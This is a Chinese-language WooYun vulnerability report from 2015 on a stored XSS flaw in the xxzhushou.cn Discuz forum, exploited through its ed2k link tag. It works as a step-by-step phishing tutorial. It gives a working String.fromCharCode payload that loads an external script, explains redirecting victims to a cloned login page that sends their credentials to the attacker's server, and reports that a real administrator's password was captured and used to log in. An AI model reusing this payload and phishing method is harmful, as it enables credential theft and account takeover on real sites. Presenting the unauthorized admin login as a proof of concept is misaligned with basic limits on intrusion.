当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098317

漏洞标题:叉叉助手xss跨站脚本攻击钓鱼利用(已盲打管理)

相关厂商:xxzhushou.cn

漏洞作者: Croxx

提交时间:2015-03-10 21:34

修复时间:2015-03-15 21:36

公开时间:2015-03-15 21:36

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-10: 细节已通知厂商并且等待厂商处理中
2015-03-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

Discuzx3.1和以下的对ed2k没有进行过滤导致xss
XSS漏洞站点:叉叉助手论坛 http://bbs.xxzhushou.cn/forum.php (怪就怪你和我的外号一样╮(╯▽╰)╭)
XSS漏洞原因:ed2k协议漏洞(这个是Discuz x3.1 前版本的漏洞,再次不在赘述,百度之)
因为这个站的密码用MD5还加了盐还加了http_only标签那么我们就用钓鱼的方法实现吧。
Ok那么下面开始实战演示如何利用一个XSS漏洞进行钓鱼。
首先找到这个论坛的登陆页面
在右上角随便输入个用户名和密码就能进入登陆专用的页面:

图片1.png


然后审查元素把相关的资源都下载下来!
(也可以在审查元素的Network页面下刷新,就会显示出来加载的东西,然后下载就可以,如图:)

图片2.png


然后Dw打开html改改改改改改改改!
改的时候注意考虑一下要怎样实施钓鱼,我想到了2种方式:
1:清空原页面的东西然后加载钓鱼页面的元素
优点:地址栏地址不会变,仍在一个域名下不容易引起怀疑、
缺点:js的document没办法访问<head>标签下的元素,所以我们要把载入css啊编码啊载入js啊都写在<body>里,而且如果原页面在<head>里定义了背景那么清空<body>并重写之后样式不太好做(原谅我是第一次写html和js,大触可以无视这条)
2:xss后跳转到另一个域下的页面
优点:不需要对源码进行大改动,还原度高
缺点:地址栏里能看到跳转的地址,细心的管理员发现域名不对会留心一下。
在这里我用了第二种方式
不要说po主懒,,其实另有原因,后文中会说到。(后文2种方法都会介绍)
在考虑这两种方法之前我们先看一下这个注入点的特性:
发帖的时候包含这句:
ed2k://|file|lovely|'+想要执行的js代码+'|test/
将js代码写到加号中间就能xss:

图片3.png


图片4.png


但是中间插入的js代码不能含有各种引号,这样会闭合payload中的引号导致js不能正确执行:

图片14.png


如图,没有弹窗,f12一下能看到这里的情况(忘了截图就不贴了)
这个xss很鸡肋?Nonono,我们可以用html的<script>标签来利用:
<script src=http://............></scrpit>
可以看到这个方法不需要使用引号就能合法加载外部js脚本,但是直接写上面的代码的话尖括号会被转义,于是我们这样利用:
ed2k://|file|lovely|'+document.write(String.fromCharCode(这里使用ASCII码))+'|test/
在String.fromCharCode的参数里填入我们原来想要加载的payload的ASCII码,比如<script src=http://............></scrpit>这句话的ASCII码是
60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,46,46,46,46,46,46,46,46,46,46,46,46,62,60,47,115,99,114,112,105,116,62(10进制)
所以如下构造:
ed2k://|file|lovely|'+document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,46,46,46,46,46,46,46,46,46,46,46,46,62,60,47,115,99,114,112,105,116,62))+'|test/
这样我们就没有使用双引号载入外部js
下面介绍下上文中2种方法的实现:
第一种:
首先吧html中<head>里加载的css、js的脚本移动到<body>中(拖到最前面,让它先加载)然后使用document.body.innerHTML()的方式将<body>标签中的元素修改为登陆页面的样式,这里就不详细介绍了。
那么我为什么放弃了这种方法呢,一个是<body>标签中的js无法直接访问<head>标签中的元素,所以不能删除背景,只能用一个白色的层遮住原来的页面。当然这只是一个问题,还有一个问题是String.fromCharCode()参数如果是中文的ASCII时可能会导致乱码,你要是做个英文版容易引起怀疑= =,不过这种方法不会跳转域名所以不容易被发现。
第二种:
在外部载入的js中利用window.location.href="http://............";的方式跳转到自己存放钓鱼页面的地址(不要问我为什么不在payload里实现,因为这个注入点不能使用各种引号= =)
然后钓鱼页面的html修改一下按钮的js:
找到注册侦听的位置:

图片5.png


Ok就是你了,点击后执行这个函数:

图片6.png


然后吧login里的内容改成把账号密码输入框内的东西发送到你的服务器就好,发送完了别让页面再跳转到论坛主页,让这次钓鱼更不会被怀疑。(跳转页面的时候一定要注意下,不要把跳转的代码接着发送写,因为如果发送没有执行完就跳转是不会发出包的,所以我们要用setTimeout(function,time);的方式延迟跳转)(我在一开始跳转到钓鱼页面的时候还让它弹了个窗说”登陆状态异常,请重新登录”,然后又传了cookie data refer等数据(这里没有用,因为不在同一个域cookie不是论坛的cookie,不过你可以在第一次跳转前就顺便发过来,这样就是论坛下的cookie了))
然后我们就能收到钓鱼页面发送来的信息了~
(如果帖子需要审核那么管理员打开帖子的时候就会触发xss,那么你第一个打到的就会是管理员的号)
贴几张测试图:
触发了XSS:

图片7.png


然后跳转进入了钓鱼页面:
(可以看到域名

图片8.png

发生了变化)
然后输入用户密码:

图片9.png


点击”立即登入”之后页面就向服务端发送了账号和密码并跳转回了论坛首页:

图片10.png


查看一下得到的信息:

图片11.png


Ok~就是这样~

漏洞证明:

今天下午发来了真正的钓鱼信息,果然打到了管理员:

图片12.png


尝试登陆一下:

图片13.png


登陆成功!

修复方案:

升级到Discuzx3.2以上或者过滤ed2k的code区进行过滤

版权声明:转载请注明来源 Croxx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-03-15 21:36

厂商回复:

最新状态:

暂无